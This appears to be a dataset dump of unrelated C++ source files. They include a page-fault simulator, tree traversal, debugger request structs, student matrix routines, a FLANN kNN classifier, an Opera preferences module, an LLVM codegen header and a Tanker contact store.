text
stringlengths 8
6.88M
|
|---|
#include<iostream>
#include<ctype.h>
#include<stdlib.h>
#include<stdio.h>
using namespace std;
int main(int argc, char**argv) {
int num_pages=atoi(argv[1]);
int pages[num_pages];
for ( int i =0; i<num_pages;++i) {
pages[i]=-1; //intialize dummy
}
char read[10]; int Pagenum;
int track=0; int faults=0;
while(fgets(read,sizeof(read),stdin)) {
++track;
if(!(isdigit((int)(read[0])))) {
continue;
}
sscanf(read,"%d",&Pagenum);
int found=-1;
for ( int i =0; i<num_pages;++i) {
if(pages[i]== Pagenum) {
found=1;
break;
}//if statement bracket
}//for loop bracket
if(found==-1) //page fault
{
printf("Page number %d caused a page fault.\n",Pagenum);
++faults;
int random=rand()% (num_pages);
pages[random]=Pagenum;
}
}//while loop bracket
printf("The number of lines is %d and the number of page faults is %d\n",track,faults);
return 0;
}
|
#include <iostream>
#include <sstream>
#include <vector>
#include <list>
#include <queue>
#include <algorithm>
#include <iomanip>
#include <map>
#include <unordered_map>
#include <unordered_set>
#include <string>
#include <set>
#include <stack>
#include <cstdio>
#include <cstring>
#include <climits>
#include <cstdlib>
using namespace std;
vector<int> pre, in, post;
bool uniq = true;
void inorder(int prel, int preh, int postl, int posth) {
// printf("%d %d %d %d\n", prel, preh, postl, posth);
if (prel == preh) {
in.push_back(pre[prel]);
return;
}
int root = pre[prel];
int i = prel + 1, j = postl;
while (j <= posth && pre[i] != post[j]) {
j++;
}
inorder(i, i + j - postl, postl, j);
in.push_back(root);
if (j + 1 == posth)
uniq = false;
else
inorder(i + j - postl + 1, preh, j + 1, posth - 1);
}
int main() {
/*freopen("input.txt", "r", stdin);
freopen("output.txt", "w", stdout);*/
int n;
scanf("%d", &n);
pre.resize(n); post.resize(n);
for (int i = 0; i < n; i++)
scanf("%d", &pre[i]);
for (int i = 0; i < n; i++)
scanf("%d", &post[i]);
inorder(0, n-1, 0, n-1);
if (uniq)
printf("Yes\n");
else
printf("No\n");
for (int i = 0; i < in.size(); i++) {
if (i != 0)
printf(" ");
printf("%d", in[i]);
}
printf("\n");
return 0;
}
|
//===-- mess/request.hh - Request struct definition -------------*- C++ -*-===//
//
// ODB Library
// Author: Steven Lariau
//
//===----------------------------------------------------------------------===//
///
/// \file
/// Request struct represent request needed for DB clients
///
//===----------------------------------------------------------------------===//
#pragma once
#include "../server/fwd.hh"
#include "db-client.hh"
#include "fwd.hh"
namespace odb {
enum class ReqType {
CONNECT = 0,
STOP,
CHECK_STOPPED,
GET_REGS,
GET_REGS_VAR,
SET_REGS,
SET_REGS_VAR,
GET_REGS_INFOS,
FIND_REGS_IDS,
READ_MEM,
READ_MEM_VAR,
WRITE_MEM,
WRITE_MEM_VAR,
GET_SYMS_BY_IDS,
GET_SYMS_BY_ADDR,
GET_SYMS_BY_NAMES,
GET_CODE_TEXT,
ADD_BKPS,
DEL_BKPS,
RESUME,
ERR = 100,
};
struct ReqConnect {
static constexpr ReqType REQ_TYPE = ReqType::CONNECT;
VMInfos out_infos;
DBClientUpdate out_udp;
};
struct ReqStop {
static constexpr ReqType REQ_TYPE = ReqType::STOP;
int tag;
};
struct ReqCheckStopped {
static constexpr ReqType REQ_TYPE = ReqType::CHECK_STOPPED;
DBClientUpdate out_udp;
};
// Get registers, all with the same size
struct ReqGetRegs {
static constexpr ReqType REQ_TYPE = ReqType::GET_REGS;
std::uint16_t nregs;
vm_size_t reg_size;
vm_reg_t *ids;
char **out_bufs;
};
// Get registers when they have different sizes
struct ReqGetRegsVar {
static constexpr ReqType REQ_TYPE = ReqType::GET_REGS_VAR;
std::uint16_t nregs;
vm_reg_t *in_ids;
vm_size_t *in_regs_size;
char **out_bufs;
};
// Set registers, all with the same size
struct ReqSetRegs {
static constexpr ReqType REQ_TYPE = ReqType::SET_REGS;
std::uint16_t nregs;
vm_size_t reg_size;
vm_reg_t *in_ids;
char **in_bufs;
};
// Set registers when they have different sizes
struct ReqSetRegsVar {
static constexpr ReqType REQ_TYPE = ReqType::SET_REGS_VAR;
std::uint16_t nregs;
vm_reg_t *in_ids;
vm_size_t *in_regs_size;
char **in_bufs;
};
struct ReqGetRegsInfos {
static constexpr ReqType REQ_TYPE = ReqType::GET_REGS_INFOS;
std::uint16_t nregs;
vm_reg_t *ids;
RegInfos *out_infos;
};
struct ReqFindRegsIds {
static constexpr ReqType REQ_TYPE = ReqType::FIND_REGS_IDS;
std::uint16_t nregs;
char **in_bufs;
vm_reg_t *out_ids;
};
// Read memory chunks, all with the same size
struct ReqReadMem {
static constexpr ReqType REQ_TYPE = ReqType::READ_MEM;
std::uint16_t nbufs;
vm_size_t buf_size;
vm_ptr_t *in_addrs;
char **out_bufs;
};
// Read memory chunks, all with different sizes
struct ReqReadMemVar {
static constexpr ReqType REQ_TYPE = ReqType::READ_MEM_VAR;
std::uint16_t nbufs;
vm_ptr_t *in_addrs;
vm_size_t *in_bufs_size;
char **out_bufs;
};
// Write memory chunks, all with the same size
struct ReqWriteMem {
static constexpr ReqType REQ_TYPE = ReqType::WRITE_MEM;
std::uint16_t nbufs;
vm_size_t buf_size;
vm_ptr_t *in_addrs;
char **in_bufs;
};
// Write memory chunks, all with different sizes
struct ReqWriteMemVar {
static constexpr ReqType REQ_TYPE = ReqType::WRITE_MEM_VAR;
std::uint16_t nbufs;
vm_ptr_t *in_addrs;
vm_size_t *in_bufs_size;
char **in_bufs;
};
struct ReqGetSymsByIds {
static constexpr ReqType REQ_TYPE = ReqType::GET_SYMS_BY_IDS;
std::uint16_t nsyms;
vm_sym_t *in_ids;
SymbolInfos *out_infos;
};
struct ReqGetSymsByAddr {
static constexpr ReqType REQ_TYPE = ReqType::GET_SYMS_BY_ADDR;
vm_ptr_t addr;
vm_size_t size;
std::vector<SymbolInfos> out_infos;
};
struct ReqGetSymsByNames {
static constexpr ReqType REQ_TYPE = ReqType::GET_SYMS_BY_NAMES;
std::uint16_t nsyms;
char **in_names;
SymbolInfos *out_infos;
};
struct ReqGetCodeText {
static constexpr ReqType REQ_TYPE = ReqType::GET_CODE_TEXT;
vm_ptr_t addr;
vm_size_t nins;
std::vector<std::string> out_text;
std::vector<vm_size_t> out_sizes;
};
struct ReqAddBkps {
static constexpr ReqType REQ_TYPE = ReqType::ADD_BKPS;
std::uint16_t size;
vm_ptr_t *in_addrs;
};
struct ReqDelBkps {
static constexpr ReqType REQ_TYPE = ReqType::DEL_BKPS;
std::uint16_t size;
vm_ptr_t *in_addrs;
};
struct ReqResume {
static constexpr ReqType REQ_TYPE = ReqType::RESUME;
ResumeType type;
};
struct ReqErr {
static constexpr ReqType REQ_TYPE = ReqType::ERR;
std::string msg;
};
} // namespace odb
|
#include"Matrix.h"
void Input_Matrix(int matrix[][10], int n) //Ham Nhap 1 Ma tran Vuong co kich thuc n
{
cout << "Enter the elements of the matrix :\n";
for (int i = 0; i < n; i++)
{
cout << "Row " << i + 1 << endl;
for (int j = 0; j < n; j++)
{
cin >> matrix[i][j];
}
}
}
void Output_Matrix(int matrix[][10], int n)//Ham Xuat 1 Ma Tran Vuong co kich thuoc n
{
cout << "The entered matrix is :" << endl;
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
cout <<" "<< matrix[i][j] << " ";
}
cout << endl;
}
}
int determinant(int matrix[10][10], int n)//input:1 ma tran vuong co hang=cot=n
{ //Output:tra ve gia tri dinh thuc cua ma tran
int det = 0;
int submatrix[10][10];
if (n == 2)
return ((matrix[0][0] * matrix[1][1]) - (matrix[1][0] * matrix[0][1]));
else {
for (int x = 0; x < n; x++) {
int subi = 0;
for (int i = 1; i < n; i++) {
int subj = 0;
for (int j = 0; j < n; j++) {
if (j == x)
continue;
submatrix[subi][subj] = matrix[i][j];
subj++;
}
subi++;
}
det = det + (pow(-1, x) * matrix[0][x] * determinant(submatrix, n - 1));
}
}
return det;
}
void Inverse_Matrix(int matrix[10][10], int n)//Input 1 Ma tran vuong co kich thuoc hang=cot=n
{ //Output=1 mA TRAN NGHICH DAO
int deter = determinant(matrix, n); //tinh dinh thuc cua ma tran input
if (deter!=0) //kiem tra dinh thuc khac 0
{
int submatrix[10][10]; //ma tran phu
float result[10][10]; //ma tran ket qua
for (int i = 0; i < n; i++) { //gan ma tran ket qua =0;
for (int j = 0; j < n; j++)
result[i][j] = 0;
}
for (int i = 0; i < n; i++)
{
for (int j = 0; j < n; j++)
{
int temp = 0;
int subi = 0;
for (int k = 0; k < n; k++)
{
int temp = 0;
int subj = 0;
if (j == k)
continue;
for (int l = 0; l < n; l++)
{
temp = i + j + 2;
if (i == l)
continue;
submatrix[subi][subj] = matrix[k][l];
subj++;
}
subi++;
}
result[i][j] = pow(-1, temp) * float((determinant(submatrix, n - 1)));
}
}
cout << "Inverse of the matrix is " << endl;
for (int i = 0; i < n; i++) {
cout <<"("<< "1" << "/" << deter<<")" << "*" <<" ";
cout << "(" << " ";
for (int j = 0; j < n; j++)
cout << result[i][j] << " ";
cout << ")" << " ";
cout << endl;
}
}
else//neu dinh thuc =0 .se in ra man hinh
{
cout << "Dinh Thuc Bang 0.Khong Co Ma Tran Kha Nghich" << endl;
}
}
void Multiplication_Matrix(int matrix_1[][10], int matrix_2[][10], int row_1, int col_1, int row_2, int col_2)
{
//Input 2 ma tran voi 4 du lieu hang1,cot1,hang2,cot2. col_1=row_2 .Output Ket qua phep nhan
if (col_1!=row_2)
{
cout << " Nhap khong hop le " << endl;
}
else
{
int resulf_matrix[10][10]; //ma tran ket qua
for (int i = 0; i < row_1; i++) //gan ma tran ket qua bang 0
{
for (int j = 0; j < col_2; j++)
{
resulf_matrix[i][j] = 0;
}
}
for (int i = 0; i < row_1; i++)
{
for (int j = 0; j < col_2; j++)
{
for (int k = 0; k < col_1; k++)
{ //Dung 3 vong lap for voi 3 bien i,j,k
resulf_matrix[i][j] += matrix_1[i][k] * matrix_2[k][j];//Ma tran ket qua [i][j]=matran1[i](k)+matran2[k][j]
}
}
}
cout << endl;
cout << endl;
cout << endl;
cout << "RESULT " << endl;
for (int i = 0; i < row_1; i++) //in ket qua
{
for (int j = 0; j < col_2; j++)
{
cout << resulf_matrix[i][j] << " ";
}
cout << endl;
}
}
}
void Input_Matrix(int matrix_1[][10], int matrix_2[][10], int row_1, int col_1, int row_2, int col_2)//Ham nhap 2 ma tran khac ma tran vuong
{
cout << "Enter the elements of the matrix 1 :\n";//Nhap ma tran thu 1
for (int i = 0; i < row_1; i++)
{
cout << "Row " << i + 1 << endl;
for (int j = 0; j < col_1; j++)
{
cin >> matrix_1[i][j];
}
}
cout << "Enter the elements of the matrix 2 :\n"; //Nhap ma tran thu 2
for (int i = 0; i < row_2; i++)
{
cout << "Row " << i + 1 << endl;
for (int j = 0; j < col_2; j++)
{
cin >> matrix_2[i][j];;
}
}
}
void Output_Matrix(int matrix_1[][10], int matrix_2[][10], int row_1, int col_1, int row_2, int col_2)
{ //Ham xuat 2 ma tran khac ma tran vuong
cout << "The entered matrix 1 is :" << endl; //Xuat ma tran 1
for (int i = 0; i < row_1; i++)
{
for (int j = 0; j < col_1; j++)
{
cout << matrix_1[i][j] << " ";
}
cout << endl;
}
cout << "The entered matrix 2 is :" << endl; //Xuat ma tran 2
for (int i = 0; i < row_2; i++)
{
for (int j = 0; j < col_2; j++)
{
cout << matrix_2[i][j] << " ";
}
cout << endl;
}
}
void Solve_Matrix(int matrix_1[][10], int matrix_2[][1], int row_1)//He Phuong Trinh Co Dang AX=B(A=Matrix_1,B=Matrix_2)
{
int submatrix[10][10];
int denta[10];
int deter = determinant(matrix_1,row_1);//tinh dinh thuc ma tran ban dau
if (deter != 0)
{
int temp = row_1;
int k = 0;
while (temp > 0)
{
for (int i = 0; i < row_1; i++)
{
for (int i = 0; i < row_1; i++)
{
for (int j = 0; j < row_1; j++)
{
submatrix[i][j] = matrix_1[i][j];
}
}
for (int j = 0; j < row_1; j++)
{
submatrix[j][i] = matrix_2[j][0];
}
denta[k] = determinant(submatrix, row_1);
k++;
}
if (k == 2)
{
break;
}
temp--;
}
cout << "HE PHUONG TRINH CO " << row_1 << "NGHIEM" << endl;
for (int i = 0; i < row_1; i++)
{
cout <<float(denta[i] /deter) << endl;
}
}
else
{
int temp = row_1;
int k = 0;
while (temp > 0)
{
for (int i = 0; i < row_1; i++)
{
for (int i = 0; i < row_1; i++)
{
for (int j = 0; j < row_1; j++)
{
submatrix[i][j] = matrix_1[i][j];
}
}
for (int j = 0; j < row_1; j++)
{
submatrix[j][i] = matrix_2[j][0];
}
denta[k] = determinant(submatrix, row_1);
if (denta[k] != 0)
{
cout << endl;
cout << "He Phuong Trinh Vo Nghiem " << endl;
exit(0);
}
k++;
}
temp--;
}
cout << "He Phuong trinh co vo so nghiem hoac vo nghiem " << endl;
}
}
void swap(int matrix[10][10], int row, int col, int row_a, int row_b)//Ham hcuyen doi vi tri cua rowa va row b
{
if (row_a * row_b < 0 || row_a == row_b || row_a >= row || row_b >= row)
{
return;
}
for (int j = 0; j < col; j++)
{
int temp = matrix[row_a][j];
matrix[row_a][j] = matrix[row_b][j];
matrix[row_b][j] = temp;
}
}
void Echelon_Matrix(int matrix[10][10], int result[10][10], int row, int col)//tim ma tran bac thang cua ma tran input
{
//Gan cac phan tu matrix sang result
for (int i = 0; i < row; i++)
{
for (int j = 0; j < col; j++)
{
result[i][j] = float(matrix[i][j]);
}
}
int i = 0, j = 0;
while (i < row || j < col)
{
if (result[i][j] != 0)
{
for (int k = i + 1; k < row; k++)
{
int t = (1.0 * result[k][j]) / result[i][j];
for (int h = 0; h < col; h++)
{
result[k][h] -= t * result[i][h];
}
}
i++;
j++;
}
else
{
bool flag = true; //Gan co hieu(flag)
for (int k = i + 1; k < row; k++)
{
if (result[k][j] != 0)
{
swap(result, row, col, i, k);
flag = false;
break;
}
}
if (flag == true)
{
j++;
}
}
}
}
//Tim hang cua ma tran dua tren ma tran bac thang
int Rank_Matrix(int matrix[10][10], int result[10][10], int row, int col)
{
Echelon_Matrix(matrix, result, row, col);
int rank = 0;
for (int i = 0; i < row; i++)
{
for (int j = 0; j < col; j++)
{
if (result[i][j] != 0)
{
rank++;
break;
}
}
}
return rank;
}
|
/**
* FlannKNNClassifier.hpp
* @author koide
* 15/11/16
**/
#ifndef KKL_FLANN_KNN_CLASSIFIER_HPP
#define KKL_FLANN_KNN_CLASSIFIER_HPP
#include <deque>
#include <vector>
#include <memory>
#include <Eigen/Dense>
#include <flann/flann.hpp>
namespace kkl {
namespace ml {
/***************************************
* FlannKNNClassifier
* flannを使ったknn分類器
***************************************/
template<typename T>
class FlannKNNClassifier {
public:
typedef Eigen::Matrix<T, Eigen::Dynamic, 1> VectorT;
// constructor
FlannKNNClassifier() {
index_params.reset(new flann::LinearIndexParams());
labels.reserve(256);
min_label = 0;
max_label = 0;
}
// 点の追加
// label : ラベル
// point : 追加する点
void addPoint(int label, const VectorT& point){
labels.push_back(label);
points.push_back(point);
if (!index) {
index.reset(new ::flann::Index<::flann::L2<float>>(eigen2flann(points.back()), *index_params));
} else {
index->addPoints(eigen2flann(points.back()), 1);
}
min_label = std::min(min_label, label);
max_label = std::max(max_label, label);
}
// 分類
// query : 入力
// k : k近傍点数
// return : 推定ラベル
int predict(const VectorT& query, int k = 5) {
if (!index) {
std::cerr << "error : knn index is not constructed!!" << std::endl;
return min_label;
}
std::vector<std::vector<int>> indices_;
std::vector<std::vector<float>> dists_;
index->knnSearch(eigen2flann(query), indices_, dists_, k, flann::SearchParams(32));
const auto& indices = indices_.front();
const auto& dists = dists_.front();
int label_range = max_label - min_label + 1;
if (label_range == 1) {
return min_label;
}
std::vector<int> hist(label_range, 0);
for (int i = 0; i < indices.size(); i++) {
hist[labels[indices[i]] + min_label] ++;
}
int max_voted = min_label + std::distance(hist.begin(), std::max_element(hist.begin(), hist.end()));
return max_voted;
}
// 2値分類
// query : 入力
// k : k近傍点数
// min_dist : 最近傍点までの距離
// return : label > 1 or not
bool predictBinary(const VectorT& query, int k = 5, float* min_dist = nullptr) {
if (!index) {
std::cerr << "error : knn index is not constructed!!" << std::endl;
return min_label;
}
std::vector<std::vector<int>> indices_;
std::vector<std::vector<float>> dists_;
index->knnSearch(eigen2flann(query), indices_, dists_, k, flann::SearchParams(32));
const auto& indices = indices_.front();
const auto& dists = dists_.front();
int pos_neg[2] = { 0, 0 };
for (int i = 0; i < indices.size(); i++) {
if (labels[indices[i]] > 0) {
pos_neg[0]++;
}
else {
pos_neg[1] ++;
}
}
if (min_dist) {
*min_dist = dists[0];
std::cout << "min_dist " << *min_dist << std::endl;
}
return pos_neg[0] > pos_neg[1];;
}
// confidence付き2値分類
// query : 入力
// k : k近傍点数
// min_dist : 最近傍点までの距離
// return : label > 1 or not
double predictBinaryReal(const VectorT& query, int k = 5, float* min_dist = nullptr) {
if (!index) {
std::cerr << "error : knn index is not constructed!!" << std::endl;
return min_label;
}
std::vector<std::vector<int>> indices_;
std::vector<std::vector<float>> dists_;
index->knnSearch(eigen2flann(query), indices_, dists_, k, flann::SearchParams(32));
const auto& indices = indices_.front();
const auto& dists = dists_.front();
int pos_neg[2] = { 0, 0 };
for (int i = 0; i < indices.size(); i++) {
if (labels[indices[i]] > 0) {
pos_neg[0]++;
}
else {
pos_neg[1] ++;
}
}
if (min_dist) {
*min_dist = dists[0];
}
double sign = pos_neg[0] > pos_neg[1] ? +1.0 : -1.0;
int half = (k - 1) / 2;
int range = k - half;
double confidence = (std::max(pos_neg[0], pos_neg[1]) - half) / static_cast<double>(range);
return sign * confidence;
}
// インデックスに含まれるデータ点数
size_t size() const { return labels.size(); }
private:
// Eigen::Matrix → flann::Matrix
flann::Matrix<T> eigen2flann(const VectorT& v) {
flann::Matrix<T> mat((T*)v.data(), 1, v.size());
return mat;
}
int min_label; // ラベルの最小値
int max_label; // ラベルの最大値
std::vector<int> labels; // ラベル集合
std::deque<VectorT> points; // 点集合
// flann
std::unique_ptr<flann::IndexParams> index_params;
std::unique_ptr<flann::Index<flann::L2<T>>> index;
};
}
}
#endif
|
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*-
**
** Copyright 2002-2012 Opera Software ASA. All rights reserved.
**
** This file is part of the Opera web browser. It may not be distributed
** under any circumstances.
**
** Peter Krefting
*/
#include "core/pch.h"
#include "modules/prefs/prefsmanager/collections/pc_js.h"
#include "modules/prefs/prefsmanager/hostoverride.h"
#include "modules/prefs/prefsmanager/prefstypes.h"
#include "modules/ecmascript_utils/esutils.h"
#include "modules/prefs/prefsmanager/collections/prefs_macros.h"
#include "modules/prefs/prefsmanager/collections/pc_js_c.inl"
PrefsCollectionJS *PrefsCollectionJS::CreateL(PrefsFile *reader)
{
if (g_opera->prefs_module.m_pcjs)
LEAVE(OpStatus::ERR);
g_opera->prefs_module.m_pcjs = OP_NEW_L(PrefsCollectionJS, (reader));
return g_opera->prefs_module.m_pcjs;
}
PrefsCollectionJS::~PrefsCollectionJS()
{
#ifdef PREFS_COVERAGE
CoverageReport(
m_stringprefdefault, PCJS_NUMBEROFSTRINGPREFS,
m_integerprefdefault, PCJS_NUMBEROFINTEGERPREFS);
#endif
g_opera->prefs_module.m_pcjs = NULL;
}
void PrefsCollectionJS::ReadAllPrefsL(PrefsModule::PrefsInitInfo *)
{
// Read everything
OpPrefsCollection::ReadAllPrefsL(
m_stringprefdefault, PCJS_NUMBEROFSTRINGPREFS,
m_integerprefdefault, PCJS_NUMBEROFINTEGERPREFS);
}
#ifdef PREFS_HOSTOVERRIDE
void PrefsCollectionJS::ReadOverridesL(const uni_char *host, PrefsSection *section, BOOL active, BOOL from_user)
{
ReadOverridesInternalL(host, section, active, from_user,
m_integerprefdefault, m_stringprefdefault);
}
#endif // PREFS_HOSTOVERRIDE
#ifdef PREFS_VALIDATE
void PrefsCollectionJS::CheckConditionsL(int which, int *value, const uni_char *)
{
// Check any post-read/pre-write conditions and adjust value accordingly
switch (static_cast<integerpref>(which))
{
case EcmaScriptEnabled:
case IgnoreUnrequestedPopups:
case TargetDestination:
#ifdef USER_JAVASCRIPT
case UserJSEnabled:
case UserJSEnabledHTTPS:
case UserJSAlwaysLoad:
#endif
case ScriptSpoof:
#ifdef ECMASCRIPT_DEBUGGER
# ifndef PREFS_SCRIPT_DEBUG
case EcmaScriptDebugger:
# endif
#if defined ECMASCRIPT_REMOTE_DEBUGGER && !defined PREFS_TOOLS_PROXY
case EcmaScriptRemoteDebugger:
#endif
#endif // ECMASCRIPT_DEBUGGER
#ifdef DELAYED_SCRIPT_EXECUTION
case DelayedScriptExecution:
#endif
#ifdef PREFS_HAVE_BROWSERJS_TIMESTAMP
case BrowserJSTimeStamp:
case BrowserJSServerTimeStamp:
#endif
#ifdef DOM_FULLSCREEN_MODE
case ChromelessDOMFullscreen:
#endif // DOM_FULLSCREEN_MODE
#ifdef GEOLOCATION_SUPPORT
case AllowGeolocation:
#endif // GEOLOCATION_SUPPORT
#ifdef DOM_STREAM_API_SUPPORT
case AllowCamera:
#endif // DOM_STREAM_API_SUPPORT
#if defined DOM_WEBWORKERS_SUPPORT
case MaxWorkersPerWindow:
case MaxWorkersPerSession:
#endif // DOM_WEBWORKERS_SUPPORT
break; // Nothing to do.
#ifdef ECMASCRIPT_NATIVE_SUPPORT
case JIT:
#endif // ECMASCRIPT_NATIVE_SUPPORT
#ifdef ES_HARDCORE_GC_MODE
case HardcoreGCMode:
#endif // ES_HARDCORE_GC_MODE
#ifdef CANVAS3D_SUPPORT
case ShaderValidation:
#endif // CANVAS3D_SUPPORT
#ifdef DOM_DEVICE_ORIENTATION_EVENT_SUPPORT
case EnableOrientation:
#endif
#ifdef SPECULATIVE_PARSER
case SpeculativeParser:
#endif // SPECULATIVE_PARSER
break; // Nothing to do.
#if (defined ECMASCRIPT_REMOTE_DEBUGGER || defined SUPPORT_DEBUGGING_SHELL) && !defined PREFS_TOOLS_PROXY
# ifdef ECMASCRIPT_REMOTE_DEBUGGER
case EcmaScriptRemoteDebuggerPort:
# endif
# ifdef SUPPORT_DEBUGGING_SHELL
case OpShellProxyPort:
# endif
if (*value < 0 || *value > 65535)
*value = GetDefaultIntegerPref(static_cast<integerpref>(which));
break;
#endif
#ifdef DOM_BROWSERJS_SUPPORT
case BrowserJSSetting:
// Valid values: 0=never load/download, 1=download/not load,
// 2=load/download
if (*value < 0 || *value > 2)
*value = 1;
break;
#endif
#if defined DOCUMENT_EDIT_SUPPORT && defined USE_OP_CLIPBOARD
case LetSiteAccessClipboard:
break;
#endif // DOCUMENT_EDIT_SUPPORT && USE_OP_CLIPBOARD
default:
// Unhandled preference! For clarity, all preferenes not needing to
// be checked should be put in an empty case something: break; clause
// above.
OP_ASSERT(!"Unhandled preference");
}
}
BOOL PrefsCollectionJS::CheckConditionsL(int which, const OpStringC &invalue,
OpString **outvalue, const uni_char *)
{
// Check any post-read/pre-write conditions and adjust value accordingly
switch (static_cast<stringpref>(which))
{
case ES_NSAppName:
case ES_IEAppName:
case ES_OperaAppName:
case ES_AppCodeName:
#if defined ECMASCRIPT_REMOTE_DEBUGGER && !defined PREFS_TOOLS_PROXY
case EcmaScriptRemoteDebuggerIP:
#endif
#ifdef USER_JAVASCRIPT
case UserJSFiles:
#endif
#if defined SUPPORT_DEBUGGING_SHELL && !defined PREFS_TOOLS_PROXY
case OpShellProxyIP:
#endif
#if defined ES_OVERRIDE_FPMODE
case FPMode:
#endif // ES_OVERRIDE_FPMODE
#ifdef WEB_HANDLERS_SUPPORT
case DisallowedWebHandlers:
#endif
#ifdef VEGA_3DDEVICE
case JS_HWAAccess:
#endif
break; // Nothing to do.
default:
// Unhandled preference! For clarity, all preferenes not needing to
// be checked should be put in an empty case something: break; clause
// above.
OP_ASSERT(!"Unhandled preference");
}
// When FALSE is returned, no OpString is created for outvalue
return FALSE;
}
#endif // PREFS_VALIDATE
|
#ifndef HEAD_H
#define HEAD_H
#include <stack>
#include <vector>
#include <typeinfo>
#include <map>
#include <llvm/IR/Module.h>
#include <llvm/IR/Function.h>
#include <llvm/IR/Type.h>
#include <llvm/IR/DerivedTypes.h>
#include <llvm/IR/LLVMContext.h>
#include <llvm/IR/LegacyPassManager.h>
#include <llvm/IR/Instructions.h>
#include <llvm/IR/CallingConv.h>
#include <llvm/IR/IRPrintingPasses.h>
#include <llvm/IR/IRBuilder.h>
#include <llvm/Bitcode/BitstreamReader.h>
#include <llvm/Bitcode/BitstreamWriter.h>
#include <llvm/Support/TargetSelect.h>
#include <llvm/ExecutionEngine/ExecutionEngine.h>
#include <llvm/ExecutionEngine/MCJIT.h>
#include <llvm/ExecutionEngine/GenericValue.h>
#include <llvm/Support/raw_ostream.h>
#include <llvm/IR/Value.h>
#include <llvm/IR/LLVMContext.h>
#include <llvm/IR/IRBuilder.h>
#include <llvm/IR/Module.h>
#include <llvm/IR/LegacyPassManager.h>
#include <llvm/IR/IRPrintingPasses.h>
#include <llvm/Support/raw_ostream.h>
using namespace llvm;
using std::pair;
using std::string;
using std::vector;
using std::map;
using std::stack;
static map< string, llvm::StructType *> structType_map ;
static map< string, vector< pair< string, string > > > structMembers_map;
class NBlock;
static LLVMContext MyContext;
class CodeGenBlock {
public:
BasicBlock *block;
Value *returnValue;
map<string, Value*> locals;
};
class CodeGenContext {
stack<CodeGenBlock *> blocks;
Function *mainFunction;
public:
Module *module;
CodeGenContext() { module = new Module("main", MyContext); }
void generateCode(NBlock& root);
GenericValue runCode();
std::map< string, Value*>& locals() { return blocks.top()->locals; }
BasicBlock *currentBlock() { return blocks.top()->block; }
void pushBlock(BasicBlock *block) { blocks.push(new CodeGenBlock()); blocks.top()->returnValue = NULL; blocks.top()->block = block; }
void popBlock() { CodeGenBlock *top = blocks.top(); blocks.pop(); delete top; }
void setCurrentReturnValue(Value *value) { blocks.top()->returnValue = value; }
Value* getCurrentReturnValue() { return blocks.top()->returnValue; }
Value* getSymbolValue(string name)
{
std::stack<CodeGenBlock *> tmp;
while(!blocks.empty())
{
auto nBlock = blocks.top(); blocks.pop();
tmp.push(nBlock);
if((*nBlock).locals.find(name) != (*nBlock).locals.end())
{
while(!tmp.empty())
{
blocks.push(tmp.top());
tmp.pop();
}
std::cout<<"find here! ! "<<(*nBlock).locals[name]<<std::endl;
return (*nBlock).locals[name];
}
}
while(!tmp.empty())
{
blocks.push(tmp.top());
tmp.pop();
}
return nullptr;
}
void addStructType(string name,llvm::StructType *type)
{
structType_map[name] = type;
structMembers_map[name] = std::vector<pair<std::string,std::string > >();
}
void addStructMember(string structName, string memType, string memName)
{
if( structType_map.find(structName) == structType_map.end() )
printf("Unknown struct name\n");
structMembers_map[structName].push_back(std::make_pair(memType, memName));
}
long getStructMemberIndex(string structName, string memberName) {
if( structType_map.find(structName) == structType_map.end() ){
printf("Unknown struct name\n");
return 0;
}
auto& members = structMembers_map[structName];
for(auto it=members.begin(); it!=members.end(); it++)
if( it->second == memberName )
return std::distance(members.begin(), it);
printf("Unknown struct member\n");
return 0;
}
};
#endif // HEAD_H
|
#include <Tanker/ContactStore.hpp>
#include <Tanker/Crypto/Format/Format.hpp>
#include <Tanker/DataStore/ADatabase.hpp>
#include <Tanker/Device.hpp>
#include <Tanker/Errors/AssertionError.hpp>
#include <Tanker/Errors/Errc.hpp>
#include <Tanker/Errors/Exception.hpp>
#include <Tanker/Format/Format.hpp>
#include <Tanker/Trustchain/DeviceId.hpp>
#include <Tanker/Trustchain/UserId.hpp>
#include <Tanker/User.hpp>
#include <optional>
#include <tconcurrent/coroutine.hpp>
#include <stdexcept>
#include <utility>
using Tanker::Trustchain::UserId;
namespace Tanker
{
ContactStore::ContactStore(DataStore::ADatabase* db) : _db(db)
{
}
tc::cotask<void> ContactStore::putUser(User const& user)
{
assert(!user.devices.empty());
if (!TC_AWAIT(_db->getDevicesOf(user.id)).empty())
{
throw Errors::formatEx(Errors::Errc::InternalError,
TFMT("user {:s} is already stored"),
user.id);
}
TC_AWAIT(_db->putContact(user.id, user.userKey));
for (auto const& device : user.devices)
TC_AWAIT(_db->putDevice(user.id, device));
}
tc::cotask<void> ContactStore::putUserKey(
UserId const& userId, Crypto::PublicEncryptionKey const& userKey)
{
TC_AWAIT(_db->putContact(userId, userKey));
}
tc::cotask<void> ContactStore::putUserDevice(UserId const& userId,
Device const& device)
{
TC_AWAIT(_db->putDevice(userId, device));
}
tc::cotask<std::optional<User>> ContactStore::findUser(
UserId const& id) const
{
auto devices = TC_AWAIT(_db->getDevicesOf(id));
if (devices.empty())
TC_RETURN(std::nullopt);
auto userKey = TC_AWAIT(_db->findContactUserKey(id));
TC_RETURN((User{id, std::move(userKey), std::move(devices)}));
}
tc::cotask<std::optional<Device>> ContactStore::findDevice(
Trustchain::DeviceId const& id) const
{
TC_RETURN(TC_AWAIT(_db->findDevice(id)));
}
tc::cotask<std::vector<Device>> ContactStore::findUserDevices(
UserId const& id) const
{
TC_RETURN(TC_AWAIT(_db->getDevicesOf(id)));
}
tc::cotask<std::optional<UserId>> ContactStore::findUserIdByUserPublicKey(
Crypto::PublicEncryptionKey const& userKey) const
{
TC_RETURN(TC_AWAIT(_db->findContactUserIdByPublicEncryptionKey(userKey)));
}
tc::cotask<std::optional<UserId>> ContactStore::findUserIdByDeviceId(
Trustchain::DeviceId const& id) const
{
TC_RETURN(TC_AWAIT(_db->findDeviceUserId(id)));
}
tc::cotask<void> ContactStore::revokeDevice(Trustchain::DeviceId const& id,
uint64_t revokedAtBlkIndex) const
{
TC_AWAIT(_db->updateDeviceRevokedAt(id, revokedAtBlkIndex));
}
tc::cotask<void> ContactStore::rotateContactPublicEncryptionKey(
UserId const& userId,
Crypto::PublicEncryptionKey const& userPublicKey) const
{
TC_AWAIT(_db->setContactPublicEncryptionKey(userId, userPublicKey));
}
}
|
#include "mainwindow.h"
#include "ui_mainwindow.h"
